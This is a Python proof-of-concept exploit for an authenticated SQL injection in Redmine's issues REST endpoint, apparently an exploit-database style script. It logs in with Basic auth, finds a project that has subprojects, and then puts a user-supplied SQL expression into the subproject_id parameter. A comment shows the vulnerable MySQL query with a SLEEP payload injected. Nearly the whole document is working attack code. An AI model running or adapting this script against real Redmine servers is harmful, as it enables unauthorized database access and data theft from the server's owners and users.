#!/usr/bin/python import sys, getopt, requests from base64 import b64encode import xml.etree.ElementTree as ET #Requirements: # + Access credentials # + Subproject is required # + REST API is enabled #On Mysql the first query on which injection occurs looks like with the "-SLEEP(5)" being the injected part: #SELECT COUNT(*) FROM `issues` INNER JOIN `projects` ON `projects`.`id` = `issues`.`project_id` INNER JOIN `issue_statuses` ON `issue_statuses`.`id` = `issues`.`status_id` WHERE (((projects.status <> 9 AND EXISTS (SELECT 1 AS one FROM enabled_modules em WHERE em.project_id = projects.id AND em.name='issue_tracking')) AND (((projects.is_public = 1 AND projects.id NOT IN (SELECT project_id FROM members WHERE user_id IN (4,2))) AND ((issues.is_private = 0)))))) AND ((issues.status_id IN (SELECT id FROM issue_statuses WHERE is_closed=0)) AND projects.id IN (1,2,3-SLEEP(5))) #proxies for debug proxyDict = { } def main(): if len(sys.argv) != 5: print("(+) usage %s " % sys.argv[0]) print("(+) e.g. %s http://localhost/redmine user pass \"SLEEP(5)\"" % sys.argv[0]) sys.exit(1) t = sys.argv[1] u = sys.argv[2] p = sys.argv[3] q = sys.argv[4] projectid = checkforsubprojects(t, u, p) if projectid == "": print("(-) There are no subprojects available...") sys.exit(1) exploit(t, u, p, q, projectid) def exploit(url, username, password, query, projectid): try: urlquery = url + "/issues.xml?project_id=%s&subproject_id=2,3-%s" % (projectid, query) upass = username + ":" + password upass = upass.encode("utf8") userAndPass = b64encode(upass).decode("ascii") headers = { 'Authorization' : 'Basic %s' % userAndPass } r = requests.get(urlquery, headers=headers, proxies=proxyDict) print("(+) Injection succesful!") except ValueError: print("(-) Something went horribly, horribly wrong...") def checkforsubprojects(url, username, password): try: urlquery = "/projects.xml" fullurl = url + urlquery upass = username + ":" + password upass = upass.encode("utf8") userAndPass = b64encode(upass).decode("ascii") headers = { 'Authorization' : 'Basic %s' % userAndPass } r = requests.get(fullurl, headers=headers, proxies=proxyDict) data = r.content tree = ET.fromstring(data) for elem in tree.findall('project'): for project in elem.findall('parent'): projectid = project.get('id') print("(+) ProjectId %s with a subproject was found succesfuly!" % projectid) return projectid except ValueError: print("(-) Something went horribly, horribly wrong...") return "" if __name__ == '__main__': main()